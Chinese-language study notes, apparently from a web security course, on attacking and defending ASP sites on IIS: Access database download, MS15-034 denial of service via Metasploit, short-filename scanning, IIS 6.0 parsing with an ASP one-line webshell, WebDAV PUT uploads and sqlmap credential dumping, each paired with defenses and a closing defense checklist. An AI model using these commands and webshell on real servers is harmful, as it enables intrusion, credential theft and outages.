41-ASP应用与IIS中间件漏洞实战

第四十一天学习笔记:WEB攻防(ASP应用与IIS中间件漏洞实战)

一、核心知识点总览

本节课聚焦 ASP应用+IIS中间件 的WEB攻防,核心围绕三类高频漏洞展开:

  1. ASP-MDB数据库泄漏:Access数据库因路径固定、无需配置,易被直接下载导致敏感信息泄露;
  2. IIS中间件漏洞:含HTTP.SYS远程漏洞(CVE-2015-1635)、短文件猜解、文件解析漏洞、写权限滥用;
  3. ASP-Access注入:利用SQLMap自动化挖掘注入点,获取数据库账号密码,进而登录后台植入木马。

二、ASP默认风险:MDB数据库泄漏下载

ASP应用常搭配 Access数据库(.mdb文件),其核心风险是"数据库无需额外连接配置,路径固定时可直接远程下载",相当于"把钥匙放在门垫下,知道位置就能拿"。

2.1 漏洞原理

  • Access数据库无需安装数据库服务,仅需在ASP脚本中配置文件路径(如dbpath="/database/#data.mdb")即可使用;
  • 若路径未修改(默认路径)且未限制访问权限,攻击者通过URL直接请求该路径,即可下载.mdb文件,解密后获取用户名、密码等敏感数据。

2.2 实战步骤(以Windows 2003+IIS 6.0为例)

步骤1:搭建测试环境
  1. 启动Windows 2003虚拟机,打开"Internet信息服务(IIS)管理器"(右键"我的电脑"→"管理"→"服务和应用程序");
  2. 找到目标ASP网站(如fyblogs_3.0),记录其绑定的IP地址(如192.168.200.140:81)。
步骤2:远程下载MDB文件
  1. 在攻击机浏览器中访问网站,确认网站可正常打开;

  2. 拼接数据库默认路径(需URL编码特殊字符,如#​编码为%23​),直接请求:

    复制代码
    http://192.168.200.140:81/database/%23data.mdb
  3. 浏览器会自动下载#data.mdb​文件(若未下载,说明路径错误或有访问限制)。

步骤3:解析数据库文件
  1. 用Access软件或数据库查看工具(如"MDB Viewer")打开下载的.mdb文件;
  2. 直接查看admin等核心表,获取明文或加密的用户名/密码(如admin/123456)。
常见问题与解决
问题现象 原因 解决方法
访问URL提示"404未找到" 数据库路径已修改(非默认) 用目录扫描工具(如御剑、7kbscan)猜解路径
下载后文件无法打开 文件被加密或损坏 尝试用工具(如"Access密码破解器")解密

2.3 防御建议

  1. 修改默认路径:将.mdb文件放在IIS网站根目录外(如C:\db\#data.mdb),ASP脚本中通过绝对路径调用;
  2. 隐藏文件后缀:将.mdb文件改名为.asp(如#data.asp),下载后会被IIS解析为脚本,无法直接查看数据;
  3. 限制访问权限:在IIS中给database目录添加"拒绝匿名访问",仅允许ASP脚本通过服务器本地读取。

三、IIS中间件漏洞:从DOS到木马植入

IIS是ASP应用的常用中间件,不同版本存在多种漏洞,攻击者可通过这些漏洞实现拒绝服务、文件读取甚至植入木马。

3.1 漏洞1:HTTP.SYS远程DOS漏洞(CVE-2015-1635)

核心信息
  • 漏洞描述:HTTP.sys(Windows HTTP协议堆栈)未正确解析特殊HTTP请求,导致远程攻击者可在系统账户上下文执行代码或触发DOS(系统蓝屏);
  • 影响版本:Windows 7/Server 2008 R2/8/Server 2012/8.1/Server 2012 R2;
  • 利用场景:无需登录,仅需目标开放HTTP端口(如80、81)。
实战步骤(用Metasploit)
  1. 启动MSF控制台(Kali或Windows下的MSF):

    复制代码
    msfconsole
  2. 加载针对CVE-2015-1635的DOS模块:

    复制代码
    use auxiliary/dos/http/ms15_034_ulonglongadd
  3. 配置目标IP和端口:

    复制代码
    set rhosts 192.168.200.140  # 目标IIS服务器IP
    set rport 81                # 目标HTTP端口
  4. 执行攻击,目标会蓝屏重启(DOS效果):

    复制代码
    run
防御建议
  1. 立即安装Windows安全补丁(如KB3042553);
  2. 关闭不必要的HTTP端口,仅开放业务必需端口;
  3. 在防火墙中限制外部IP对IIS端口的访问。

3.2 漏洞2:IIS短文件猜解漏洞

核心信息
  • 漏洞原理:Windows为兼容16位DOS程序,会给长文件名生成 8.3格式短名(如Database→DATA~1),IIS默认返回短名存在性,攻击者可通过工具猜解敏感文件/目录;
  • 影响版本:IIS 6.0/7.0/7.5/8.0/8.1;
  • 利用场景:获取后台路径(如Admin~1→AdminLogin)、数据库路径(如Data~1→Database)。
实战步骤
  1. 下载工具(lijiejie的IIS短文件扫描器):

    地址:https://github.com/lijiejie/IIS_shortname_Scanner

  2. 在攻击机执行扫描命令,目标为IIS网站根目录:

    复制代码
    python iis_shortname_scan.py http://192.168.200.140:88/
  3. 工具会输出猜解到的短名(如ADMIN~1​→推测为后台目录,DATA~1​→推测为数据库目录);

  4. 拼接路径访问(如http://192.168.200.140:88/ADMIN\~1/​),验证是否为后台登录页。

防御建议
  1. 禁用Windows 8.3文件名格式(修改注册表):
    路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将NtfsDisable8dot3NameCreation设为1;
  2. 在IIS中配置"自定义404页面",避免泄露文件存在性;
  3. 敏感目录名避免使用长名(如直接用Admin而非AdminLoginPage)。

3.3 漏洞3:IIS文件解析漏洞

核心信息
  • 漏洞原理:IIS对特殊格式文件名的解析规则存在缺陷,可将非ASP文件解析为ASP脚本执行,配合文件上传漏洞可植入木马;
  • 影响版本:IIS 6.0(高危)、IIS 7.x(低危)。
不同版本实战差异
IIS版本 解析规则 利用示例(上传木马)
6.0 1. 忽略分号后内容(.asp;.jpg​→解析为.asp) 2. .asp​目录下所有文件均解析为.asp 1. 上传1.asp;.jpg​(内含ASP一句话木马) 2. 创建1.asp​目录,上传logo.jpg​(内含木马)
7.x 路径后加/xx.php​(/1.jpg/xx.php​→解析为.php) 上传1.jpg​(内含PHP木马),访问http://目标/1.jpg/xx.php​
实战步骤(以IIS 6.0为例)
  1. 准备ASP一句话木马(<%eval request("pass")%>​,"pass"为连接密码);

  2. 将木马文件命名为1.asp;.jpg​,通过网站上传功能上传(假设上传路径为/upload/​);

  3. 访问上传后的文件,IIS会将其解析为ASP脚本:

    复制代码
    http://192.168.200.140:89/upload/1.asp;.jpg
  4. 用webshell管理工具(如哥斯拉),输入URL和密码"pass",即可获取服务器权限。

防御建议
  1. 升级IIS到最新版本,关闭不必要的解析规则;
  2. 限制上传目录的执行权限(IIS中设置"无脚本");
  3. 过滤上传文件名中的特殊字符(如;、/),仅允许jpg、png等白名单后缀。

3.4 漏洞4:IIS写权限滥用(WebDAV开启)

核心信息
  • 漏洞原理:若IIS开启WebDAV服务且配置"允许PUT方法",攻击者可直接向服务器写入文件(如ASP木马);
  • 影响版本:所有支持WebDAV的IIS版本;
  • 利用场景:无文件上传功能时,直接写入木马。
实战步骤(用Postman)
  1. 验证目标是否开启WebDAV:发送OPTIONS请求,若响应头含DAV: 1,2​,说明已开启;

  2. 用Postman发送PUT请求,向目标写入ASP木马(文件名为shell.asp​):

  3. 若响应状态码为201 Created​,说明写入成功;

  4. 访问http://192.168.200.140:81/shell.asp​,用哥斯拉连接即可。

防御建议
  1. 关闭WebDAV服务(IIS管理器→网站→"WebDAV创作规则"→禁用);
  2. 限制HTTP方法,仅允许GET、POST,拒绝PUT、DELETE;
  3. 给网站目录设置"只读"权限,禁止写入。

四、ASP-SQL注入:Access数据库与SQLMap实战

Access数据库无账号密码,结构简单(表→列→数据),攻击者可通过SQL注入获取核心数据,进而登录后台。

4.1 漏洞原理

ASP脚本若直接拼接SQL语句(未过滤用户输入),会导致注入漏洞。例如:

复制代码
' 危险代码:直接用classid参数拼接SQL
sql = "select * from pic where classid=" & request("classid")

攻击者可构造classid=3 and 1=2 union select 1,2,3​,猜解字段数并获取数据。

4.2 实战步骤(用SQLMap)

步骤1:确认注入点

目标URL:http://192.168.200.140:89/Pic.asp?classid=3​(classid​为注入参数)。

步骤2:用SQLMap获取数据库表名
复制代码
# --tables:获取所有表名
python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" --tables

执行后会列出Access数据库的表(如admin​、pic​,admin​表大概率存账号密码)。

步骤3:获取admin表的列名
复制代码
# -T admin:指定表名;--columns:获取该表的列名
python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" -T admin --columns

执行后会列出admin​表的列(如username​、password​)。

步骤4:导出账号密码数据
复制代码
# -C "username,password":指定列名;--dump:导出数据
python sqlmap.py -u "http://192.168.200.140:89/Pic.asp?classid=3" -T admin -C "username,password" --dump

执行后会显示username​和password​(password​可能为MD5加密,需用工具解密,如"MD5在线解密")。

步骤5:找到后台登录页并登录
  1. 用IIS短文件扫描器或目录扫描工具(御剑),找到后台路径(如http://192.168.200.140:89/Tcnet/Admin_Login.asp);
  2. 输入解密后的用户名/密码,登录后台;
  3. 后续可通过后台"文件上传"功能,植入木马(如利用IIS解析漏洞)。

4.3 防御建议

  1. 过滤用户输入:用Replace函数过滤SQL关键字(如'、union、and);
  2. 使用参数化查询:Access支持ADODB.Command参数化,避免直接拼接SQL;
  3. 最小权限:ASP脚本运行账号仅授予"读取"权限,禁止修改/删除数据库。

五、总结:ASP+IIS攻防核心清单

漏洞类型 利用关键 防御核心
MDB数据库泄漏 默认路径+直接下载 改路径+隐藏后缀+限权限
HTTP.SYS(CVE-2015-1635) MSF DOS模块+目标HTTP端口 装补丁+防火墙限制
IIS短文件 8.3短名+扫描工具 禁用短名+自定义404
IIS解析漏洞 特殊文件名(.asp;.jpg)+上传 限上传后缀+禁目录执行权限
IIS写权限(WebDAV) PUT方法+写入木马 关WebDAV+禁PUT方法
Access注入 SQLMap自动化+猜解表列 过滤输入+参数化查询

结尾交付物提议

ASP+IIS漏洞防御 Checklist

本清单按"高危优先、操作落地"原则整理,覆盖ASP+IIS环境核心漏洞,每个防御点含"操作步骤+验证方法",可直接用于测试/运维自查。

一、MDB数据库泄漏防御(高危)

防御点 操作步骤 验证方法
1. 修改默认数据库路径 1. 将.mdb​文件移至IIS网站根目录外(如C:\DB\#data.mdb​,而非C:\inetpub\wwwroot\database​); 2. 在ASP脚本中用绝对路径调用:dbpath="C:\DB\#data.mdb"​。 访问原默认路径(如http://IP/database/%23data.mdb​),应返回404。
2. 隐藏数据库文件后缀 将.mdb​后缀改为.asp​(如#data.mdb​→#data.asp​),ASP脚本调用路径同步修改。 下载修改后的文件(http://IP/DB/#data.asp​),会被IIS解析为脚本(显示乱码/报错),无法直接查看数据。
3. 限制数据库目录权限 1. 打开IIS管理器→找到database​(或存放数据库的目录)→右键"属性"→"目录安全性"; 2. 点击"编辑"(匿名访问和身份验证控制)→取消"匿名访问"→确定。 匿名用户访问数据库路径,应弹出登录验证框(401未授权)。

二、IIS中间件漏洞防御(中高危)

相关推荐
阿昌喜欢吃黄桃13 天前
RocketMq事务消息原理
java·中间件·消息队列·rocketmq·mq
半夜修仙14 天前
延迟队列的介绍及常见问题
java·数据库·中间件·rabbitmq
手握风云-14 天前
一条消息的旅程:RabbitMQ 学习与实践(一)
中间件·rabbitmq
RH23121115 天前
2026.6.8Linux
java·数据库·中间件
理人综艺好会16 天前
双Token机制在实际项目中的应用与实践
中间件·token
番茄去哪了16 天前
神领物流面试题(一)
java·大数据·中间件
念何架构之路16 天前
消息中间件
中间件
都说名字长不会被发现16 天前
Spring Boot Starter 中间件账号密码加密方案设计与实现
java·spring boot·后端·中间件
瀚高PG实验室17 天前
java中间件无法连接数据库
java·数据库·中间件·瀚高数据库
之歆17 天前
Day11_Express 深入解析:从中间件到项目实战
中间件·express